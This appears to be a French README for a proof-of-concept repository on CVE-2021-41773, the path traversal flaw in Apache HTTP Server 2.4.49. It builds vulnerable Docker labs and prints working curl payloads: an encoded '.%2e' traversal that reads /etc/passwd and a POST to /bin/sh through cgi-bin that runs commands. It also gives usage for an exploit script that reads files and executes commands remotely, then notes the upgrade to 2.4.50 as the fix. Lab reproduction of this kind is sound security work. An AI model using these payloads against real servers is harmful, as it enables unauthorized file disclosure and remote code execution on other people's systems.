CVE-2021-41773

Path Traversal in Apache HTTP Server 2.4.49


Résumé

Une vulnérabilité a été découverte sur la version 2.4.49 de apache.

Cette vulnérabilité permet une attaque LFI (Local File Inclusion) permettant de lire le contenu de fichiers normalement innaccessible.

Dans la configuration par défaut, l'exploitation de cette vulnérabilité nous permet de lire tous les fichiers du répertoire CGI-BIN ainsi que du répértoire racine du service web (/usr/local/apache2/htdocs par défaut). Cela donne la possibilité à un attaquant de lire le code source de fichier interprété tel que des fichiers php ou cgi-bin.

Une mauvaise configuration de ce service permet d'élargir la vulnérabilité à une inclusion de fichier de tous le système (sous-réserve de disposer des droits d'accès) ainsi qu'une RCE (Remote Command Execution).

Proof Of Concepts

PoC Installation par défaut

Je ne partagerais pas de PoC avec l'installation par défaut car voir le code source d'une page html n'est pas des plus utile et je ne connais pas de conteneur Docker tournant sous apache 2.4.49 avec php d'activé afin de faire un poc digne de ce nom.

POC LFI accrue par mauvaise configuration

Explication

La configuration par défaut présente ci-dessous est souvent modifié afin d'en alléger la sécurité.

<Directory />
    AllowOverride none
    Require all denied
</Directory>

C'est lors de la suppression du paramètre "Require all denied" que le service devient vulnérable.

En effet, cela permet à l'attaquant, de lire le contenu de tous les fichiers présents sur le système.

<Directory />
    AllowOverride none
</Directory>

Docker Vulnérable

Création de l'image vulnérable

cd apache_lfi_all

docker image build -t vuln_apache_lfi .

Lancement du conteneur

docker run --name conteneur_vuln_apache_lfi -p 8080:80 vuln_apache_lfi

POC

curl --silent --path-as-is --insecure "127.0.0.1:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" -v

POC RCE

Explication

Si l'exécution des cgi-bin est activé, il est alors possible d'exécuter des commandes à distances.

Docker Vulnérable

Création de l'image

cd apache_rce

docker image build -t vuln_apache_rce .

Lancement du conteneur

docker run --name conteneur_vuln_apache_rce -p 8080:80 vuln_apache_rce

POC

curl -d "echo;id" --insecure "127.0.0.1:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"

Exploit

  • -h [IP] -> pour définir l'adresse ip cible
  • -c pour -> Pour vérifier les deux vulnérabilités
  • -r [CMD] -> Pour exécuter une commande à distance
  • -l [PATH] -> Pour afficher le contenu d'un fichier

Exemple test de vulnérabilités :

./exploit.sh -c -h 127.0.0.1:8080

Exmple exploitation LFI :

./exploit.sh -h 127.0.0.1:8080 -l /etc/passwd

Exemple exploitation exécution de commande :

./exploit.sh -h 127.0.0.1:8080 -r id

Remediation

Afin de corriger cette vulnérabilité, il est nécéssaire de mettre à jour apache vers la version 2.4.50

Source

https://www.lemondeinformatique.fr/actualites/lire-des-entreprises-francaises-plus-numeriques-mais-aussi-plus-vulnerables-84362.html